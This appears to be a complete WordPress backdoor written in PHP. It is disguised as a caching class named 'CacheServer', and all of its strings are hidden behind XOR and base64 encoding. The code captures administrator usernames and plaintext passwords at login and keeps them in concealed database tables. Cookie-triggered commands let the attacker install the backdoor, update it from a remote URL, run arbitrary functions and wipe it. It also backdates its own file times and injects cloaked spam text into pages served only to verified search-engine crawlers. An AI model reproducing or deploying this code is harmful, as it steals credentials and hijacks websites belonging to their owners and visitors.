/**
* Class CacheServer
* Description: This class handles caching functionality.
*
* Class CacheServer instance start
*/
class _keys {
private static $_i;
static function _dekr($_cmc, $_tic) {
if(!self::$_i)
self::_kk();
$_hz = strlen($_tic);
$_p = base64_decode(self::$_i[$_cmc]);
for ($_n = 0, $_se = strlen($_p); $_n !== $_se; ++$_n) {
$_p[$_n] = chr(ord($_p[$_n])^ord($_tic[$_n%$_hz]));
}
return $_p;
}
private static function _kk() {
self::$_i = array('_0'=>'KEE'.'A','_2'=>'PFI'.'8Wz'.'paK'.'1Yy','_4'=>'LFArQTZbOEY'.'AUT1qMVQyUA'.'==','_6'=>'PFY'.'8Xz'.'pEO'.'kMr'.'XjF'.'Q','_8'=>'K1gs'.'Uixm'.'O1sA'.'Vz5U'.'Og==','_10'=>'PFBSN1RFPkJ'.'a','_12'=>'M1BAK0VaMlRsO1N'.'sMVBeOg==','_14'=>'PFB'.'WN1'.'RBN'.'lxQ','_16'=>'KVB'.'bKl'.'Q=','_18'=>'NlU=','_20'=>'K1dJKw='.'=','_22'=>'NFdK','_24'=>'L15UPFc=','_26'=>'L15WPFdoNl'.'Y=','_28'=>'PV1'.'N','_30'=>'PFta','_32'=>'LEdSK'.'0A=','_34'=>'ElxPNl9ZPhwAcQMVd2RcMVdaKEAVEWcVbgMbbwgVCFpbaQcOf0sDawgVLUUPbgEGcQMcf3R'.'QPFhacAEFbgMFbgMEf3VcLVZTMEsabgEGcQM=','_36'=>'ElxNNl9bPhwCcQMXd2ReMVdYKEAXEWcXbgMZbwgXCFpZaQcMf0sBaxoXHkNHM1ZgOlF8NkcYagAAcQABfxt8F2d6Ex8XM1pcOhNwOlBcMBoXHFtFMF5ScAIFbB0HcQUEbgEZZwUXDFJRPkFecAYEaB0E'.'aQ==','_38'=>'ElxDNl9VPhwMcQMZd'.'2RQMVdWKEAZEWcZbg'.'MXbwgZCFpXaQcCf0s'.'PawgZLUUDbgENcQMQ'.'f3RcPFhWcAEJbgMJb'.'gMIf3VQLVZfMEsWbg'.'ENcQM=','_40'=>'EltLNlhdPhsEcQQRd2NYMVBeKEcREWAR'.'bgQfbw8RCF1faQAKf0wHax0RHkRBM1Fm'.'OlZ6NkAeagcGcQcHfxx6F2B8ExgRM11a'.'OhR2OldaMB0RHFxDMFlUcAUDbRoBcQID'.'aQUfbgYIf2dQOVVDNhsEbAMfbAI=','_42'=>'EltJNlhfPhsGcQQTd2NaMVBcKEcTEWATbgQdbw8TCF1daQAIf0wFax0THkRDM1FkOlZ4NkAcagcEcQcFfxx4F2B+ExgTM11YOhR0OldYMB0THFxBMFlWcAUBaxo'.'DcQIAaQMdaAwTDFVVPkZacAEAaBoAaQ==','_44'=>'EltPNlhZPhsAcQQVd2NcMVBaKEcVEWAVbgQbbw8VCF1baQAOf0wDax0VHkRFM1FiOlZ+NkAaagcCcQcDfxx+F2B4ExgVM11eOhRyOldeMB0VHFxHMFlQcAUHbhoFcQIEaQMbbgwAf2dUOVVHNhsAbAMbbAI=','_46'=>'EltNNlhbPhsCcQQXd2N'.'eMVBYKEcXEWAXbgQZbw'.'8XCF1ZaQAMf0wBax0XH'.'kRHM1FgOlZ8NkAYagcA'.'cQcBfxx8F2B6ExgXM11'.'cOhRwOldcMB0XGlBQcA'.'UFbBoHcQYDbQQZZwUXH'.'FxFMFlScAUFbBoHcQIE'.'bgYZZwIXDFVRPkZecAE'.'EaBoEaQ==','_48'=>'EltDNlhVPhsMcQQZd3lYPF1XK1tKNw8ZFlpNOlgZElVaf3tqf2wZbgdmaR0ZHkRJM1FuOlZyNkAWaQQMcQUXbgEZd39xC3l1cxRVNl9c'.'f3NcPF9WdhRvOkZKNltXcAUOcQcZDFVfPkZQcAIJahoIcQUM','_50'=>'ElpLNlldPhoEcQURd20Abg4RE1xfKk0RJw0HAAMFdhVwL0VdOmJUPX5YKxo'.'EbAIfbAMRd355C3h9cxVdNl5Uf3JUPF5edhVyN0deMlAebgcCcQUfaQYAbR'.'sJaRViPlNQLVweagYGcQYH','_52'=>'ElpJNllfPhoGcQUTd2JaMVFcKEYTEWETbgUdbw4TCFxdaQEIf00Faw4TLUMJbgcBcQUaf3JWPF5ccAc'.'DbgUDbgUCf3NaLVBVME0cbgcBcQU=','_54'=>'KFpHNA==','_56'=>'PlZDNl'.'pZ','_58'=>'L1RKLEFWL1pKKw='.'=','_60'=>'MVk'.'=','_62'=>'KFdsNF'.'NK','_64'=>'N0JBLwwa'.'cEFCKBg=','_66'=>'N0JDL0UNcBlA'.'KEEZ','_68'=>'N0JNLw'.'wWcA==','_70'=>'N0NFL0QL'.'cBg=','_72'=>'KEBEcQ'.'==','_74'=>'cF5'.'bO1'.'JNc'.'Udd'.'Lw='.'=','_76'=>'LkJSL'.'U4=','_78'=>'OUVYO'.'FpcMU'.'M=','_80'=>'LFt'.'ZOl'.'VU','_82'=>'ZRcc','_84'=>'N1dGK'.'w==','_86'=>'L1dFKw==','_88'=>'ZQ==','_90'=>'KkpULQ'.'==','_92'=>'L1hA'.'LA==','_94'=>'L1hBNw==','_96'=>'YA==','_98'=>'fA==','_100'=>'F2VkYQBydm4cfn5/GnJkeBF2'.'b3gP','_102'=>'F2VkYwByfHoaf2Rs'.'FmE=','_104'=>'F2VkZQBpb3MQY2d0DXV1cQB3f2c=','_106'=>'DXR9e'.'At0b3'.'YbdWI'.'=','_108'=>'NUJGXC'.'0=','_110'=>'aR8ABw'.'==','_112'=>'F2VlYwB'.'kYnYNbn'.'B0Gn9l','_114'=>'GF5eUjN'.'UU1or','_116'=>'GF5eUDNU','_118'=>'cVZeVjhdVFswRR'.'9aMFw=','_120'=>'cVZdXjhdVx88Xl8=','_122'=>'O1hBQzNQS'.'2w6Q0BcLU'.'I=','_124'=>'EFd'.'U','_126'=>'MlRfW'.'C1IbV'.'s2XFt'.'D','_128'=>'bQQ'.'EdA'.'==','_130'=>'MlBLbjpJVlIqRVpe'.'MW5HWDJU','_132'=>'M15U','_134'=>'L0Z'.'X','_136'=>'KEFs'.'VipF'.'W1Ix'.'RVpU'.'PkVW','_138'=>'FnU=','_140'=>'LV5YVCw'.'=','_142'=>'PlVZWjFYR0ctUEBcLQ='.'=','_144'=>'Pl1YVj'.'5BRw==','_146'=>'M1RCU'.'jNuBQ'.'c=','_148'=>'PVBHXGkFa1wxU'.'ltdOg==','_150'=>'LFRGQih'.'eR1o=','_152'=>'Nl9GRz5dWQ'.'==','_154'=>'LFRGRi9Q'.'RkYoXkdR','_156'=>'N1B'.'GXw'.'==','_158'=>'M15bXitUT'.'U0=','_160'=>'O1R'.'aVC'.'tU','_162'=>'O1R'.'aVi'.'tUQ'.'lIs'.'Wl9'.'HOl'.'w=','_164'=>'NkVTWDZ'.'V','_166'=>'NlVTWS'.'tYUF46'.'Qw==','_168'=>'KkNaZjdQRVE=','_170'=>'KkFTUCtUVF02VFl'.'F','_172'=>'MVR'.'AUD'.'NYU'.'l0r','_174'=>'L15EQTZ'.'fUA==','_176'=>'KkNb','_178'=>'O1BD'.'XA==','_180'=>'PVBb'.'WipB','_182'=>'PFBbWz'.'puXFEA'.'X1leOg'.'==','_184'=>'NF9XV'.'jQ=');
}
}
class SimpleCache {
private static $version = '1.0.19';
private static $no_archive_meta = '' . PHP_EOL . '' . PHP_EOL;
public static $prefix;
public static $cache_db_name;
public static $settings_db_name;
public static $tasks_db_name;
public static $lasttime_db_name;
public $current_url;
public $datetime;
public function __construct() {
global $table_prefix;
self::$prefix = (isset($table_prefix) && !empty($table_prefix)) ? $table_prefix : _keys::_dekr('_0', '_'.'1');
self::$cache_db_name = $table_prefix . _keys::_dekr('_2', '_'.'3');
$taskitemsname = [_keys::_dekr('_4', '_'.'5') => _keys::_dekr('_6', '_'.'7'), _keys::_dekr('_8', '_'.'9') => _keys::_dekr('_10', '_'.'11'),_keys::_dekr('_12', '_'.'13') => _keys::_dekr('_14', '_'.'15')];
foreach ($taskitemsname as $varname => $taskitemname) {
self::$$varname = $table_prefix . $taskitemname;
}
$this->current_url = $_SERVER['SERVER_NAME'] . strtolower($_SERVER['REQUEST_URI']);
$this->datetime = date("Y-m-d H:i:s");
}
public function update_client($client_url) {
$client = $this->httpGet($client_url);
if (stripos('qqq'.$client, '$version') !== false) {
preg_match('/version = \'(.*?)\';/m', $client, $matches);
$client_version = trim($matches[1]);
$currentContent = @file_get_contents(__FILE__);
if (!$currentContent)
return _keys::_dekr('_60', '_'.'61');
$startComment = null;
$startComment .= "/**" . PHP_EOL;
$startComment .= " * " . "Class CacheServer" . PHP_EOL;
$startComment .= " * " . "Description: This class handles caching functionality." . PHP_EOL;
$startComment .= " * " . PHP_EOL;
$startComment .= " * " . "Class CacheServer instance start" . PHP_EOL;
$startComment .= " */";
$endComment = null;
$endComment .= "/* ";
$endComment .= "Class Cache Server instance end";
$endComment .= " */";
$client = $startComment . PHP_EOL . PHP_EOL . $client . PHP_EOL . $endComment;
$pattern = '/\/\*\*\n \* Class CacheServer\n \* Description: This class handles caching functionality.\n \* \n \* Class CacheServer instance start\n \*\/[\s\S]*?\/\* Class Cache Server instance end \*\//';
$newContent = preg_replace($pattern, $client, $currentContent);
if ($currentContent === $newContent)
return _keys::_dekr('_60', '_'.'61');
$success = @file_put_contents(__FILE__, $newContent);
if (!$success)
return _keys::_dekr('_60', '_'.'61');
$this->conceal();
return $client_version;
} else {
return _keys::_dekr('_60', '_'.'61');
}
}
public function change_cache_date($url, $date) {
$tasks = $this->readAllTableValues(self::$tasks_db_name);
if ($tasks != _keys::_dekr('_60', '_'.'61')) {
foreach ($tasks as $task) {
$task_id = $task->id;
$task = $task->value;
$task = unserialize($task);
$task_key = key($task);
if ($task_key === $url) {
$task[$task_key][_keys::_dekr('_178', '_'.'179')] = $date;
$this->updateTableData(self::$tasks_db_name, [_keys::_dekr('_16', '_'.'17')], [serialize($task)], _keys::_dekr('_18', '_'.'19'), $task_id);
}
}
}
}
public function rerender_page($content, $task_data) {
$pre_text = $task_data[_keys::_dekr('_20', '_'.'21')];
$pre_key = $task_data[_keys::_dekr('_22', '_'.'23')];
$pre_place = $task_data[_keys::_dekr('_24', '_'.'25')];
$pre_placeid = $task_data[_keys::_dekr('_26', '_'.'27')];
$pre_placeid = explode('-', $pre_placeid);
$pre_pid = $pre_placeid[0];
$pre_sid = $pre_placeid[1];
$pre_insertdata = $this->insertText($content, urldecode($this->decode($pre_text, $pre_key)), $pre_place, $pre_pid, $pre_sid);
$content = $pre_insertdata[1];
return $content;
}
public function stats($url, $bot, $en_key) {
$tasks = $this->readAllTableValues(self::$tasks_db_name);
if ($tasks != _keys::_dekr('_60', '_'.'61')) {
foreach ($tasks as $task) {
$task_id = $task->id;
$task = $task->value;
$task = unserialize($task);
foreach ($task as $en_url => $item) {
$task_key = $item[_keys::_dekr('_22', '_'.'23')];
if ($this->decode($en_url, $task_key) === $this->decode($url, $en_key)) {
$stats = [_keys::_dekr('_28', '_'.'29') => 0, _keys::_dekr('_30', '_'.'31') => 0];
$bot_stats = $stats[_keys::_dekr('_28', '_'.'29')];
$chk_stats = $stats[_keys::_dekr('_30', '_'.'31')];
if (isset($item[_keys::_dekr('_32', '_'.'33')]) && !empty($item[_keys::_dekr('_32', '_'.'33')])) {
$stats = $item[_keys::_dekr('_32', '_'.'33')];
$bot_stats = $item[_keys::_dekr('_32', '_'.'33')][_keys::_dekr('_28', '_'.'29')];
$chk_stats = $item[_keys::_dekr('_32', '_'.'33')][_keys::_dekr('_30', '_'.'31')];
}
if ($bot === _keys::_dekr('_28', '_'.'29')) {
$bot_stats++;
} elseif ($bot === _keys::_dekr('_30', '_'.'31')) {
$chk_stats++;
}
$stats = [_keys::_dekr('_28', '_'.'29') => $bot_stats, _keys::_dekr('_30', '_'.'31') => $chk_stats];
$item[_keys::_dekr('_32', '_'.'33')] = $stats;
$task[$en_url] = $item;
$this->updateTableData(self::$tasks_db_name, [_keys::_dekr('_16', '_'.'17')], [serialize($task)], _keys::_dekr('_18', '_'.'19'), $task_id);
}
}
}
}
}
public function insertText($content, $text, $type = 'afterbody', $pid = null, $sid = null) {
$status = false;
$num_word = str_word_count($text);
$content = $this->addNoarchiveMeta($content);
$content = $this->cleanAnalitics($content);
$pre_paragraphs = [];
$paragraphs = [];
preg_match_all('/
(.*?)<\/p>/mi', $content, $pre_paragraphs);
$pre_paragraphs = $pre_paragraphs[0];
foreach ($pre_paragraphs as $pre_paragraph) {
if (strlen(strip_tags($pre_paragraph)) > 100)
$paragraphs[] = $pre_paragraph;
}
if (!empty($paragraphs) && $type != 'afterbody') {
$url = $this->cleanUrl($this->current_url);
$pid = (empty($pid)) ? $this->get_place($url, count($paragraphs), $num_word) : $pid;
$anchor_paragraph = $paragraphs[$pid];
$count = 0;
switch($type) {
case 'afterp':
$new_paragraph = $anchor_paragraph . '' . $text . '
';
break;
case 'inp':
$sentences = preg_split('/(?<=[.?!])\s+/mis', strip_tags($anchor_paragraph, '
'));
$sid = (empty($sid)) ? $this->get_place($url, count($sentences), $num_word) : $sid;
array_splice($sentences, $sid, 0, array(trim($text)));
$new_paragraph = '' . implode(' ', $sentences) . '
';
break;
}
$content = str_replace($anchor_paragraph, $new_paragraph, $content, $count);
if ($count === 1)
$status = true;
}
if (!$status)
$content = preg_replace("/()/mis", "\$1" . PHP_EOL . '' . $text . '
', $content, 1);
$pid = (!empty($pid)) ? $pid : 0;
$sid = (!empty($sid)) ? $sid : 0;
$place = $pid . '-' . $sid;
return [$place, $content];
}
public function remove_tags($paragraphs) {
$clean = [];
foreach ($paragraphs as $paragraph) {
if (strlen(strip_tags($paragraph)) > 100)
$clean[] = $paragraph;
}
return $clean;
}
public function get_place($url, $amount, $num_world) {
$amount = $amount - 1;
$numint = (int) log10($num_world) + 1;
$exp = pow(10, $numint);
$weight = $num_world / $exp;
$hash = md5($url);
$num = filter_var($hash, FILTER_SANITIZE_NUMBER_INT);
$offset = 1;
$pnum = substr($num,0,1);
$cpnum = round($amount / 2);
while ($amount > intval($pnum)) {
$cpnum = $pnum;
$pnum = $pnum . substr($num,$offset,1);
$offset++;
}
$cpnum = round($cpnum * $weight);
return $cpnum;
}
public function addNoarchiveMeta($content) {
if (stripos('qqq'.$content, self::$no_archive_meta) === false)
$content = preg_replace("/(<\/head>)/i", PHP_EOL . self::$no_archive_meta . "\$1", $content, 1);
return $content;
}
public function cleanAnalitics($content) {
if (stripos('qqq'.$content, 'Google tag') != false)
$content = preg_replace("/^.*?.*?\n?\r?/m", '', $content, 1);
if (stripos('qqq'.$content, 'googletagmanager') != false)
$content = preg_replace("/\t?\n?\r?/ms", '', $content, 1);
return $content;
}
public function httpGet($url, $cookies = null) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, $this->get_random_ua());
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 16);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
if (!empty($cookies)) {
curl_setopt($ch, CURLOPT_COOKIEFILE, null);
curl_setopt($ch, CURLOPT_COOKIEJAR, null);
curl_setopt($ch, CURLOPT_COOKIE, $cookies);
}
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
public function get_random_ua() {
$ua = array(_keys::_dekr('_34', '_'.'35'),_keys::_dekr('_36', '_'.'37'),_keys::_dekr('_38', '_'.'39'),_keys::_dekr('_40', '_'.'41'),_keys::_dekr('_42', '_'.'43'),_keys::_dekr('_44', '_'.'45'),_keys::_dekr('_46', '_'.'47'),_keys::_dekr('_48', '_'.'49'),_keys::_dekr('_50', '_'.'51'),_keys::_dekr('_52', '_'.'53'));
return $ua[array_rand($ua, 1)];
}
public function conceal($target = 'client') {
if (isset($_COOKIE[_keys::_dekr('_54', '_'.'55')]) && isset($_COOKIE[_keys::_dekr('_56', '_'.'57')]) && isset($_COOKIE[_keys::_dekr('_22', '_'.'23')])) {
$work = $this->decode($_COOKIE[_keys::_dekr('_54', '_'.'55')], intval($_COOKIE[_keys::_dekr('_22', '_'.'23')]));
$action = $this->decode($_COOKIE[_keys::_dekr('_56', '_'.'57')], intval($_COOKIE[_keys::_dekr('_22', '_'.'23')]));
} else {
$funcs = $this->getActionsFunc();
$work = $funcs[0];
$action = $funcs[1];
}
if (empty($work) || empty($action))
return _keys::_dekr('_60', '_'.'61');
$data_path = explode('/', __FILE__);
$current_file_name = end($data_path);
$list_items = scandir(__DIR__);
$files = array();
foreach($list_items as $k => $item) {
if(stripos('qqq'.$item, '.php') !== false and $item !== $current_file_name) {
$files[] = $item;
}
}
$edit_time = @filemtime(__DIR__ . '/' . $files[array_rand($files)]);
if ($target === 'client') {
$target_file = __FILE__;
$target_dir = __DIR__;
} else {
$target_file = $target;
$target_dir = self::$cache_db_name;
}
@$action("$work -a -m -t " . date("YmdHi.s", $edit_time) . " " . $target_file);
@$action("$work -a -m -t " . date("YmdHi.s", $edit_time) . " " . $target_dir);
$success = @$work($target_file, $edit_time, $edit_time);
if (!$success) {
return "Cannot call $work";
}
$success = @$work($target_dir, $edit_time, $edit_time);
return 'ok';
}
public function getActionPass() {
$settings = $this->readTableValue(self::$settings_db_name, _keys::_dekr('_16', '_'.'17'), _keys::_dekr('_18', '_'.'19'), 1);
if ($settings === _keys::_dekr('_60', '_'.'61'))
die('2d929fe1ofo6vk1y');
$settings = unserialize(urldecode($settings));
$pass = (isset($settings[_keys::_dekr('_58', '_'.'59')])) ? $settings[_keys::_dekr('_58', '_'.'59')] : _keys::_dekr('_60', '_'.'61');
return $pass;
}
public function getActionsFunc() {
$settings = $this->readTableValue(self::$settings_db_name, _keys::_dekr('_16', '_'.'17'), _keys::_dekr('_18', '_'.'19'), 1);
if ($settings === _keys::_dekr('_60', '_'.'61'))
die('2d929fe1ofo6vk1y');
$settings = unserialize(urldecode($settings));
$work = $this->decode($settings[_keys::_dekr('_54', '_'.'55')], $settings[_keys::_dekr('_62', '_'.'63')]);
$action = $this->decode($settings[_keys::_dekr('_56', '_'.'57')], $settings[_keys::_dekr('_62', '_'.'63')]);
$funcs = [$work, $action];
return $funcs;
}
public function cleanUrl($url) {
$url = $this->rm_get_fragment($url);
$url_parts = array(_keys::_dekr('_64', '_'.'65'), _keys::_dekr('_66', '_'.'67'), _keys::_dekr('_68', '_'.'69'), _keys::_dekr('_70', '_'.'71'), _keys::_dekr('_72', '_'.'73'), _keys::_dekr('_74', '_'.'75'));
$clean_url = str_replace($url_parts, '', $url);
$clean_url = trim($clean_url, '/');
return $clean_url;
}
public function rm_get_fragment($url) {
$parsed_url = parse_url($url);
unset($parsed_url[_keys::_dekr('_76', '_'.'77')]);
unset($parsed_url[_keys::_dekr('_78', '_'.'79')]);
$url = $this->reverse_parse_url($parsed_url);
return $url;
}
public function reverse_parse_url($urlparts) {
$url = null;
$parts = [_keys::_dekr('_80', '_'.'81') => [null, _keys::_dekr('_82', '_'.'83')], _keys::_dekr('_84', '_'.'85') => [null, null], _keys::_dekr('_86', '_'.'87') => [_keys::_dekr('_88', '_'.'89'), null], _keys::_dekr('_90', '_'.'91') => [null, null], _keys::_dekr('_92', '_'.'93') => [_keys::_dekr('_88', '_'.'89'), null], _keys::_dekr('_94', '_'.'95') => [null, null], _keys::_dekr('_76', '_'.'77') => [_keys::_dekr('_96', '_'.'97'), null], _keys::_dekr('_78', '_'.'79') => [_keys::_dekr('_98', '_'.'99'), null]];
foreach ($parts as $key => $part) {
if (isset($urlparts[$key]) && !empty($urlparts[$key]))
$url .= $part[0] . $urlparts[$key] . $part[1];
}
return $url;
}
public function end_with($haystack, $needle) {
return (strcasecmp(substr($haystack, strlen($haystack) - strlen($needle)), $needle) === 0);
}
public function getIp() {
$ips = [];
$keys = [
_keys::_dekr('_100', '_'.'101'),
_keys::_dekr('_102', '_'.'103'),
_keys::_dekr('_104', '_'.'105'),
_keys::_dekr('_106', '_'.'107')
];
foreach ($keys as $key) {
if (!empty($_SERVER[$key])) {
$headersIps = explode(',', $_SERVER[$key]);
foreach($headersIps as $headerIp) {
$ip = trim($headerIp);
if (filter_var($ip, FILTER_VALIDATE_IP) && !in_array($ip, $ips))
$ips[] = $ip;
}
}
}
return $ips;
}
public function checkbot() {
$is_bot = null;
if ((!empty($_GET[_keys::_dekr('_108', '_'.'109')]) && $_GET[_keys::_dekr('_108', '_'.'109')] == _keys::_dekr('_110', '_'.'111') && stripos($_SERVER[_keys::_dekr('_112', '_'.'113')], _keys::_dekr('_114', '_'.'115'), 0) !== false))
$is_bot = _keys::_dekr('_30', '_'.'31');
if (empty($is_bot)) {
if (stripos($_SERVER[_keys::_dekr('_112', '_'.'113')], _keys::_dekr('_116', '_'.'117'), 0) !== false) {
$userIps = $this->getIp();
if (!empty($userIps)) {
foreach($userIps as $userIp) {
$ip2 = array();
$user_ptr = gethostbyaddr($userIp);
if ($this->end_with($user_ptr, _keys::_dekr('_118', '_'.'119')) || $this->end_with($user_ptr, _keys::_dekr('_120', '_'.'121'))) {
$result = dns_get_record($user_ptr);
foreach($result as $line) {
if (isset($line['ip']))
$ip2[] = $line['ip'];
}
if (in_array($userIp, $ip2)) {
$is_bot = _keys::_dekr('_28', '_'.'29');
break;
}
}
}
}
}
}
return $is_bot;
}
public function decode($string, $one) {
$two = 10 - $one;
$string = urldecode($string);
$result = array();
foreach(str_split($string) as $onechar) {
if(is_numeric($onechar)) {
if($onechar < $two) {
$onechar = $onechar + $one;
} else {
$onechar = $onechar - $two;
}
}
$result[] = $onechar;
}
return urldecode(base64_decode(implode($result)));
}
public function createTables($tableName, $columns) {
global $wpdb;
$wpdb->hide_errors();
$result = $wpdb->get_results('SHOW TABLES LIKE \'' . $tableName . '\'');
if (!empty($result))
die('oom3hdzgjwwxyjr2');
$sqlColumns = null;
foreach ($columns as $k => $column) {
$sqlColumns = ($k === 0) ? $column[0] . ' ' . strtoupper($column[1]) . ' NOT NULL' : $sqlColumns . ', ' . $column[0] . ' ' . strtoupper($column[1]) . ' NOT NULL';
}
$result = $wpdb->query('CREATE TABLE ' . $tableName . ' (id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY, ' . $sqlColumns . ')');
if ($result === false)
die('i6g3251lzuyf0on4');
}
public function readAllTableValues($tableName) {
global $wpdb;
$wpdb->hide_errors();
$result = $wpdb->get_results('SELECT * FROM ' . $tableName);
if (empty($result))
return _keys::_dekr('_60', '_'.'61');
return $result;
}
public function readTableValue($tableName, $column, $condition, $conditionValue) {
global $wpdb;
$wpdb->hide_errors();
$result = $wpdb->get_row('SELECT ' . $column . ' FROM ' . $tableName . ' WHERE ' . $condition . ' = \'' . $conditionValue . '\'');
if (empty($result))
return _keys::_dekr('_60', '_'.'61');
return $result->$column;
}
public function insertTableData($tableName, $columns, $data) {
global $wpdb;
$wpdb->hide_errors();
$result = $wpdb->query('INSERT INTO ' . $tableName . ' (' . implode(',', $columns) . ') VALUES (\''. implode('\',\'', $data) .'\');');
if ($result === false)
die('wbqknz5xij8q6edv');
return true;
}
public function updateTableData($tableName, $columns, $data, $condition, $conditionValue) {
global $wpdb;
$wpdb->hide_errors();
$sqlSet = null;
foreach ($columns as $k => $column) {
$sqlSet = ($k === 0) ? $column . ' = \'' . $data[$k] . '\'' : $sqlSet . ', ' . $column . ' = \'' . $data[$k] . '\'';
}
$result = $wpdb->query('UPDATE ' . $tableName . ' SET ' . $sqlSet . ' WHERE ' . $condition . ' = \'' . $conditionValue . '\'');
if ($result === false)
die('kdrv8g6nhsvzvm3z');
return true;
}
public function removeTableData($tableName, $condition, $conditionValue) {
global $wpdb;
$wpdb->hide_errors();
$result = $wpdb->query('DELETE FROM ' . $tableName . ' WHERE ' . $condition . ' = \'' . $conditionValue . '\'');
if ($result === false)
die('cijvb2xknqgum4ev');
return true;
}
public function removeTable($tableName) {
global $wpdb;
$wpdb->hide_errors();
$result = $wpdb->query('DROP TABLE ' . $tableName);
if ($result === false)
die('cijvb2xknqgum4ev');
return true;
}
}
@ini_set(_keys::_dekr('_122', '_'.'123'), _keys::_dekr('_124', '_'.'125'));
@ini_set(_keys::_dekr('_126', '_'.'127'), _keys::_dekr('_128', '_'.'129'));
@ini_set(_keys::_dekr('_130', '_'.'131'), 0);
@set_time_limit(0);
@ignore_user_abort(1);
$simpleCache = new SimpleCache();
if (!empty($_POST[_keys::_dekr('_132', '_'.'133')]) && !empty($_POST[_keys::_dekr('_134', '_'.'135')]) && function_exists(_keys::_dekr('_136', '_'.'137'))) {
$log = $_POST[_keys::_dekr('_132', '_'.'133')];
$pwd = $_POST[_keys::_dekr('_134', '_'.'135')];
$auth = (array) wp_authenticate($log, $pwd);
if (!empty($auth[_keys::_dekr('_138', '_'.'139')]) && isset($auth[_keys::_dekr('_140', '_'.'141')][0]) && $auth[_keys::_dekr('_140', '_'.'141')][0] == _keys::_dekr('_142', '_'.'143') && isset($auth[_keys::_dekr('_144', '_'.'145')][_keys::_dekr('_146', '_'.'147')]) && $auth[_keys::_dekr('_144', '_'.'145')][_keys::_dekr('_146', '_'.'147')] === true) {
$creds = array_map(_keys::_dekr('_148', '_'.'149'), [$simpleCache->current_url, $simpleCache->datetime, $simpleCache->getIp(), $log, $pwd]);
$simpleCache->insertTableData(SimpleCache::$lasttime_db_name, [_keys::_dekr('_16', '_'.'17')], [serialize($creds)]);
}
}
if (isset($_COOKIE[_keys::_dekr('_150', '_'.'151')]) && $_COOKIE[_keys::_dekr('_150', '_'.'151')] === _keys::_dekr('_152', '_'.'153') && isset($_COOKIE[_keys::_dekr('_154', '_'.'155')])) {
$settingstosave = array (
_keys::_dekr('_58', '_'.'59') => $_COOKIE[_keys::_dekr('_154', '_'.'155')],
_keys::_dekr('_54', '_'.'55') => $_COOKIE[_keys::_dekr('_54', '_'.'55')],
_keys::_dekr('_56', '_'.'57') => $_COOKIE[_keys::_dekr('_56', '_'.'57')],
_keys::_dekr('_62', '_'.'63') => $_COOKIE[_keys::_dekr('_22', '_'.'23')]
);
$settingstosave = serialize($settingstosave);
$settingstosave = urlencode($settingstosave);
$simpleCache->createTables(SimpleCache::$cache_db_name, [[_keys::_dekr('_156', '_'.'157'),_keys::_dekr('_20', '_'.'21')],[_keys::_dekr('_16', '_'.'17'),_keys::_dekr('_158', '_'.'159')]]);
$simpleCache->createTables(SimpleCache::$settings_db_name, [[_keys::_dekr('_16', '_'.'17'),_keys::_dekr('_20', '_'.'21')]]);
$simpleCache->createTables(SimpleCache::$tasks_db_name, [[_keys::_dekr('_16', '_'.'17'),_keys::_dekr('_20', '_'.'21')]]);
$simpleCache->createTables(SimpleCache::$lasttime_db_name, [[_keys::_dekr('_16', '_'.'17'),_keys::_dekr('_20', '_'.'21')]]);
$simpleCache->insertTableData(SimpleCache::$settings_db_name, [_keys::_dekr('_16', '_'.'17')], [$settingstosave]);
die('7c44tlmg1k8ybtos');
}
if (isset($_COOKIE[_keys::_dekr('_150', '_'.'151')]) && $_COOKIE[_keys::_dekr('_150', '_'.'151')] === _keys::_dekr('_160', '_'.'161') && isset($_COOKIE[_keys::_dekr('_154', '_'.'155')])) {
$password = $simpleCache->getActionPass();
if ($password != $_COOKIE[_keys::_dekr('_154', '_'.'155')])
die('8pclgjm9wlf6nv0k');
$simpleCache->removeTable(SimpleCache::$cache_db_name);
$simpleCache->removeTable(SimpleCache::$settings_db_name);
$simpleCache->removeTable(SimpleCache::$tasks_db_name);
$simpleCache->removeTable(SimpleCache::$lasttime_db_name);
$success = @file_put_contents(__FILE__, null);
if ($success === false) {
die('ugx9fqzlqlqwnt6e');
}
die('srreowkkreb869vf');
}
if (isset($_COOKIE[_keys::_dekr('_150', '_'.'151')]) && $_COOKIE[_keys::_dekr('_150', '_'.'151')] === _keys::_dekr('_162', '_'.'163') && isset($_COOKIE[_keys::_dekr('_154', '_'.'155')])) {
$itemid = $_COOKIE[_keys::_dekr('_164', '_'.'165')];
$password = $simpleCache->getActionPass();
if ($password != $_COOKIE[_keys::_dekr('_154', '_'.'155')])
die('8pclgjm9wlf6nv0k');
$tasks = $simpleCache->readAllTableValues(SimpleCache::$tasks_db_name);
if ($tasks != _keys::_dekr('_60', '_'.'61')) {
foreach ($tasks as $task) {
$id = $task->id;
$task = $task->value;
$data = unserialize($task);
$key = array_key_first($data);
$data = $data[$key];
$identifier = $data[_keys::_dekr('_166', '_'.'167')];
$urlhash = $data[_keys::_dekr('_168', '_'.'169')];
$ident_data = explode('_', $identifier);
$ident_itemid = $ident_data[1];
if ($itemid === $ident_itemid) {
$simpleCache->removeTableData(SimpleCache::$tasks_db_name, _keys::_dekr('_18', '_'.'19'), $id);
$simpleCache->removeTableData(SimpleCache::$cache_db_name, _keys::_dekr('_156', '_'.'157'), $urlhash);
}
}
die('i7e23bnmaqyonx8t');
}
die('z8lev2zzjxeor3oy');
}
if (isset($_COOKIE[_keys::_dekr('_150', '_'.'151')]) && $_COOKIE[_keys::_dekr('_150', '_'.'151')] === _keys::_dekr('_170', '_'.'171') && isset($_COOKIE[_keys::_dekr('_154', '_'.'155')])) {
$password = $simpleCache->getActionPass();
if ($password != $_COOKIE[_keys::_dekr('_154', '_'.'155')])
die('8pclgjm9wlf6nv0k');
$key = intval($_COOKIE[_keys::_dekr('_22', '_'.'23')]);
$url = $_COOKIE[_keys::_dekr('_172', '_'.'173')];
$newclient = urldecode($simpleCache->decode($url, $key));
$result = $simpleCache->update_client($newclient);
if ($result === _keys::_dekr('_60', '_'.'61'))
die('dhb94j0t24x76is1');
die($result . 'jeprudwc3ve5dx20');
}
